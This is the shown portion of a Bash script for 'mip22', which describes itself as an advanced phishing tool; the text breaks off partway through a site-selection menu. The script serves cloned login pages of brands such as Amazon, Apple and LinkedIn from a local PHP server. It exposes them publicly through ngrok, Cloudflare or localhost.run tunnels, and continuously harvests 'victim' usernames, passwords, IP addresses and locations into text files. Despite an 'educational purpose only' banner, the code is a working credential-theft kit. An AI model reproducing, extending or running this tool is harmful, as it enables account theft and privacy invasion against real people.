mip22.sh 36 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370
  1. #!/bin/bash
  2. #
  3. # Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
  4. # mip22 is a advanced phishing tool.
  5. #
  6. # mip22 is free software: you can redistribute it and/or modify
  7. # it under the terms of the GNU Affero General Public License as published by
  8. # the Free Software Foundation, either version 3 of the License, or
  9. # (at your option) any later version.
  10. #
  11. # mip22 is distributed in the hope that it will be useful,
  12. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. # GNU Affero General Public License for more details.
  15. #
  16. # You should have received a copy of the GNU Affero General Public License
  17. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  18. #
  19. #
  20. #permissions
  21. chmod -R 777 packages.sh
  22. chmod -R 777 tunnels.sh
  23. chmod -R 777 data.txt
  24. chmod -R 777 fingerprints.txt
  25. chmod -R 777 .host
  26. chmod -R 777 .manual_attack
  27. chmod -R 777 .music
  28. chmod -R 777 .pages
  29. chmod -R 777 .tunnels_log
  30. chmod -R 777 .www
  31. #Install packages and tunnels
  32. check_os_and_install_packages() {
  33. if [[ -f .host/ngrok && -f .host/cloudflared ]]; then
  34. { clear; }
  35. else
  36. { clear; header; }
  37. OS_SYSTEM=$(uname -o)
  38. if [ $OS_SYSTEM != Android ]; then
  39. bash packages.sh
  40. bash tunnels.sh
  41. else
  42. ./packages.sh
  43. ./tunnels.sh
  44. fi
  45. fi
  46. }
  47. # Check os for root
  48. check_root_and_os() {
  49. OS_SYSTEM=$(uname -o)
  50. if [ $OS_SYSTEM != Android ]; then
  51. if [[ "${EUID:-$(id -u)}" -ne 0 ]]; then
  52. { clear; header; }
  53. echo -e "The program cannot run.\nFor run program in GNU/Linux Operating System,\nGive root privileges and try again. \n"
  54. exit 1
  55. fi
  56. fi
  57. }
  58. # Terminal Colors
  59. RED="$(printf '\033[31m')"
  60. GREEN="$(printf '\033[32m')"
  61. ORANGE="$(printf '\033[33m')"
  62. BLUE="$(printf '\033[34m')"
  63. MAGENTA="$(printf '\033[35m')"
  64. CYAN="$(printf '\033[36m')"
  65. WHITE="$(printf '\033[37m')"
  66. BLACK="$(printf '\033[30m')"
  67. ORANGEBG="$(printf '\033[43m')"
  68. BLUEBG="$(printf '\033[44m')"
  69. RESETFG="$(printf '\e033[0m')"
  70. RESETBG="$(printf '\e[0m\n')"
  71. # Directories
  72. if [[ ! -d ".host" ]]; then
  73. mkdir -p ".host"
  74. fi
  75. if [[ ! -d ".www" ]]; then
  76. mkdir -p ".www"
  77. fi
  78. # Clear content of log files
  79. truncate -s 0 .tunnels_log/.cloudfl.log
  80. truncate -s 0 .tunnels_log/.localrun.log
  81. pid_kill() {
  82. #kill all pid for php, ngrok and cloudflared
  83. if [[ `pidof php` ]]; then
  84. killall php > /dev/null 2>&1
  85. fi
  86. if [[ `pidof ngrok` ]]; then
  87. killall ngrok > /dev/null 2>&1
  88. fi
  89. if [[ `pidof cloudflared` ]]; then
  90. killall cloudflared > /dev/null 2>&1
  91. fi
  92. }
  93. header(){
  94. printf "${BLUE}"
  95. cat <<- EOF
  96. ${BLUE} ███╗ ███╗██╗███████╗███████╗██╗ ██████╗ ███╗ ██╗███████╗ ${RED} o
  97. ${BLUE} ████╗ ████║██║██╔════╝██╔════╝██║██╔═══██╗████╗ ██║██╔════╝ ${RED} d8b
  98. ${BLUE} ██╔████╔██║██║███████╗███████╗██║██║ ██║██╔██╗ ██║███████╗ ${RED} d888b
  99. ${BLUE} ██║╚██╔╝██║██║╚════██║╚════██║██║██║ ██║██║╚██╗██║╚════██║ ${RED}"Y888888888P"
  100. ${BLUE} ██║ ╚═╝ ██║██║███████║███████║██║╚██████╔╝██║ ╚████║███████║ ${RED} "Y88888P"
  101. ${BLUE} ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ${RED} d88P"Y88b
  102. ${BLUE} ██╗███╗ ███╗██████╗ ██████╗ ███████╗███████╗██╗██████╗ ██╗ ███████╗███████╗ ${RED}dP" "Yb
  103. ${BLUE} ██║████╗ ████║██╔══██╗██╔═══██╗██╔════╝██╔════╝██║██╔══██╗██║ ██╔════╝██╔════╝
  104. ${BLUE} ██║██╔████╔██║██████╔╝██║ ██║███████╗███████╗██║██████╔╝██║ █████╗ ███████╗ d88b d88b
  105. ${BLUE} ██║██║╚██╔╝██║██╔═══╝ ██║ ██║╚════██║╚════██║██║██╔══██╗██║ ██╔══╝ ╚════██║ " dP " dP
  106. ${BLUE} ██║██║ ╚═╝ ██║██║ ╚██████╔╝███████║███████║██║██████╔╝███████╗███████╗███████║ dP dP
  107. ${BLUE} ═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝╚══════╝╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝ d888 d888
  108. ${BLUE}
  109. ${CYAN}Mip22 tool made for educational purpose only. ${ORANGE}Version: 2.0
  110. ${CYAN}The author is not responsible for any malicious use of the program.
  111. ${CYAN} Mip Created by ${ORANGE}makdosx ${CYAN}(https://github.com/makdosx) ${WHITE}
  112. EOF
  113. printf "${RESETBG}"
  114. }
  115. # Php webserver and port
  116. host='127.0.0.1'
  117. port='8080'
  118. setup_clone(){
  119. # Setup cloned page and server
  120. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Setting up cloned page..."${WHITE}
  121. rm -rf .www/*
  122. cp -rf .pages/"$site"/* .www
  123. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  124. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  125. }
  126. setup_clone_manual() {
  127. rm -rf .www/*
  128. cp -rf .manual_attack/index.html .www
  129. cp -rf .manual_attack/post.php .www
  130. cp -rf .manual_attack/__ROOT__/index.php .www
  131. cp -rf .manual_attack/__ROOT__/fingerprints.php .www
  132. rm -rf .manual_attack/index.html
  133. rm -rf .manual_attack/post.php
  134. rm -rf .manual_attack/data.txt
  135. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  136. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  137. }
  138. ## Get IP address
  139. get_fingerprints() {
  140. IP=$(grep -a 'IP:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  141. Full_Date=$(grep -a 'Full-Date:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  142. Country=$(grep -a 'Country:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  143. Region=$(grep -a 'Region:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  144. City=$(grep -a 'City:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  145. User_Agent=$(grep -a 'User-Agent:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  146. OS_System=$(grep -a 'OS-System:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  147. IFS=$'\n'
  148. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Victim Fingerprints.. "
  149. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} IP: ${BLUE}$IP"
  150. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Full Date: ${BLUE}$Full_Date"
  151. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Country: ${BLUE}$Country"
  152. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Region: ${BLUE}$Region"
  153. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} City: ${BLUE}$City"
  154. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} User-Agent: ${BLUE}$User_Agent"
  155. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} OS System: ${BLUE}$OS_System"
  156. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Saved in : ${MAGENTA}fingerprints.txt"
  157. cat .www/fingerprints.txt >> fingerprints.txt
  158. }
  159. # Get credentials from victims
  160. get_creds() {
  161. ACC=$(grep -o 'Username:.*' .www/data.txt | cut -d " " -f2)
  162. PASS=$(grep -o 'Password:.*' .www/data.txt | cut -d ":" -f2)
  163. IFS=$'\n'
  164. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
  165. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Password : ${WHITE}$PASS"
  166. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
  167. cat .www/data.txt >> data.txt
  168. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Fingerptints and Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
  169. }
  170. # Get credentials from victims manual method
  171. get_creds_manual() {
  172. ACC=$(tail -n 20 .www/data.txt)
  173. IFS=$'\n'
  174. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
  175. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
  176. cat .www/data.txt >> data.txt
  177. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
  178. }
  179. # Print credentials from victim
  180. credentials() {
  181. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
  182. while true; do
  183. if [[ -e ".www/fingerprints.txt" ]]; then
  184. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
  185. get_fingerprints
  186. rm -rf .www/fingerprints.txt
  187. fi
  188. sleep 0.75
  189. if [[ -e ".www/data.txt" ]]; then
  190. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Login info Found !"
  191. get_creds
  192. notice_login
  193. rm -rf .www/data.txt
  194. fi
  195. sleep 0.75
  196. done
  197. }
  198. # Print credentials from victim manual
  199. credentials_manual() {
  200. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
  201. while true; do
  202. if [[ -e ".www/fingerprints.txt" ]]; then
  203. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
  204. get_fingerprints
  205. rm -rf .www/fingerprints.txt
  206. fi
  207. sleep 0.75
  208. if [[ -e ".www/data.txt" ]]; then
  209. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Login info Found !"
  210. get_creds_manual
  211. notice_login
  212. rm -rf .www/data.txt
  213. fi
  214. sleep 0.75
  215. done
  216. }
  217. # Localhost Start
  218. localhost_start() {
  219. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  220. setup_clone
  221. { sleep 1; clear; header; }
  222. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  223. credentials
  224. }
  225. # Localhost Start
  226. localhost_start_manual() {
  227. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  228. setup_clone_manual
  229. { sleep 1; clear; header; }
  230. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  231. credentials_manual
  232. }
  233. #ngrok token setup
  234. ngrok_setup_token() {
  235. { clear; header; echo; }
  236. cat <<- EOF
  237. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok Toekn
  238. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  239. EOF
  240. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  241. case $REPLY in
  242. 1)
  243. echo "Please insert yout ngrok authtoken (only key):"
  244. read authtoken
  245. if [[ `command -v termux-chroot` ]]; then
  246. termux-chroot ./.host/ngrok authtoken $authtoken
  247. sleep 2 && menu
  248. else
  249. ./.host/ngrok authtoken $authtoken
  250. sleep 2 && menu
  251. fi ;;
  252. 99) menu;;
  253. *)
  254. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  255. { sleep 0.7; ngrok_setup_token;};;
  256. esac
  257. }
  258. apis() {
  259. { clear; header; echo; }
  260. cat <<- EOF
  261. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok
  262. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  263. EOF
  264. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  265. case $REPLY in
  266. 1) ngrok_setup_token;;
  267. 99) menu;;
  268. *)
  269. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Api, Try Again..."
  270. { sleep 0.7; apis;};;
  271. esac
  272. }
  273. # Start ngrok
  274. ngrok_start() {
  275. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  276. { sleep 1; setup_clone; }
  277. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  278. if [[ `command -v termux-chroot` ]]; then
  279. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  280. else
  281. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  282. fi
  283. { sleep 9; clear; header; }
  284. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  285. ngrok_url1=${ngrok_url#https://}
  286. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  287. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  288. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  289. credentials
  290. }
  291. # Start ngrok
  292. ngrok_start_manual() {
  293. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  294. { sleep 1; setup_clone_manual; }
  295. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  296. if [[ `command -v termux-chroot` ]]; then
  297. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  298. else
  299. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  300. fi
  301. { sleep 9; clear; header; }
  302. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  303. ngrok_url1=${ngrok_url#https://}
  304. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  305. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  306. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  307. credentials_manual
  308. }
  309. # Start Cloudflared
  310. #
  311. cloudflared_start() {
  312. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  313. { sleep 1; setup_clone; }
  314. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGETNA} Launching Cloudflared..."
  315. if [[ `command -v termux-chroot` ]]; then
  316. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  317. else
  318. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  319. fi
  320. { sleep 9; clear; header; }
  321. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  322. cldflr_url1=${cldflr_url#https://}
  323. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  324. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  325. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  326. credentials
  327. }
  328. # Start Cloudflared
  329. #
  330. cloudflared_start_manual() {
  331. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  332. { sleep 1; setup_clone_manual; }
  333. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Cloudflared..."
  334. if [[ `command -v termux-chroot` ]]; then
  335. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  336. else
  337. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  338. fi
  339. { sleep 9; clear; header; }
  340. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  341. cldflr_url1=${cldflr_url#https://}
  342. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  343. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  344. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  345. credentials_manual
  346. }
  347. # Start localrun
  348. localhostrun_start() {
  349. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  350. { sleep 1; setup_clone; }
  351. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  352. if [[ `command -v termux-chroot` ]]; then
  353. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  354. else
  355. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  356. fi
  357. { sleep 9; clear; header; }
  358. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
  359. localrun_url1=${localrun_url#https://}
  360. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  361. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  362. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  363. credentials
  364. }
  365. # Start localrun
  366. localhostrun_start_manual() {
  367. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  368. { sleep 1; setup_clone_manual; }
  369. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  370. if [[ `command -v termux-chroot` ]]; then
  371. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  372. else
  373. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  374. fi
  375. { sleep 9; clear; header; }
  376. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
  377. localrun_url1=${localrun_url#https://}
  378. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  379. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  380. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  381. credentials_manual
  382. }
  383. # Select Tunnel
  384. tunnel() {
  385. { clear; header; }
  386. cat <<- EOF
  387. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  388. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  389. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  390. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  391. EOF
  392. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  393. case $REPLY in
  394. 1)
  395. localhost_start;;
  396. 2)
  397. localhostrun_start;;
  398. 3)
  399. cloudflared_start;;
  400. 4)
  401. ngrok_start;;
  402. *)
  403. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  404. { sleep 1; header; tunnel;};;
  405. esac
  406. }
  407. start_manual_method() {
  408. cd .manual_attack && php -S "127.0.0.1:8081" > /dev/null 2>&1 &
  409. echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} Visit ${WHITE} http://127.0.0.1:8081 ${GREEN} for setup clone page "${WHITE}
  410. echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} After setup clone page return to here and continue... "${WHITE}
  411. }
  412. # Select Tunnel
  413. tunnel_manual() {
  414. { clear; header; }
  415. start_manual_method
  416. cat <<- EOF
  417. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
  418. ${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)
  419. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
  420. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
  421. EOF
  422. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
  423. case $REPLY in
  424. 1)
  425. localhost_start_manual;;
  426. 2)
  427. localhostrun_start_manual;;
  428. 3)
  429. cloudflared_start_manual;;
  430. 4)
  431. ngrok_start_manual;;
  432. *)
  433. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  434. { sleep 1; header; tunnel;};;
  435. esac
  436. }
  437. vpn_setup() {
  438. { clear; header; echo; }
  439. cat <<- EOF
  440. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Psiphon Vpn
  441. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  442. EOF
  443. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  444. case $REPLY in
  445. 1)
  446. if [[ `command -v termux-chroot` ]]; then
  447. echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
  448. sleep 4 && menu
  449. else
  450. echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
  451. #echo 'Not Supported. Setup your vpn manual'
  452. sleep 4 && menu
  453. fi ;;
  454. 99) menu;;
  455. *)
  456. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  457. { sleep 0.7; ngrok_setup_token;};;
  458. esac
  459. }
  460. play_music() {
  461. { clear; header; }
  462. cat <<- EOF
  463. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Play Music
  464. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Stop Music
  465. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  466. ${MAGENTA} If you select this option which is the background music then you may
  467. ${MAGENTA} not see the attacker's details directly in the terminal.
  468. ${MAGENTA} If you not seen the data pause the music and restart the program again.
  469. ${MAGENTA} However, they have been saved in the data txt file.
  470. EOF
  471. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Option : ${WHITE}"${WHITE}
  472. case $REPLY in
  473. 1)
  474. xterm -e nohup mpv .music/mis_song.mp3 > /dev/null 2>&1
  475. menu;;
  476. 2)
  477. pidof mpv && killall mpv > /dev/null 2>&1
  478. menu;;
  479. 99)
  480. menu;;
  481. *)
  482. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...";;
  483. esac
  484. }
  485. notice_login()
  486. {
  487. xterm -e nohup mpv .notifications/find_login.mp3 > /dev/null 2>&1
  488. sleep 3
  489. xterm -e nohup mpv .notifications/find_login.mp3 > /dev/null 2>&1
  490. sleep 3
  491. xterm -e nohup mpv .notifications/find_login.mp3 > /dev/null 2>&1
  492. }
  493. attack() {
  494. { clear; header; echo; }
  495. cat <<- EOF
  496. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Adobe ${GREEN}[${WHITE}25${GREEN}]${CYAN} Line ${GREEN}[${WHITE}48${GREEN}]${CYAN} Socialclub
  497. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Amazon ${GREEN}[${WHITE}26${GREEN}]${CYAN} LinkedIn ${GREEN}[${WHITE}49${GREEN}]${CYAN} Spotify
  498. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Apple ${GREEN}[${WHITE}27${GREEN}]${CYAN} Livejournal ${GREEN}[${WHITE}50${GREEN}]${CYAN} Stackoverflow
  499. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Baddo ${GREEN}[${WHITE}28${GREEN}]${CYAN} Mediafire ${GREEN}[${WHITE}51${GREEN}]${CYAN} Steam
  500. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Care2 ${GREEN}[${WHITE}29${GREEN}]${CYAN} MeWe ${GREEN}[${WHITE}52${GREEN}]${CYAN} Tagged
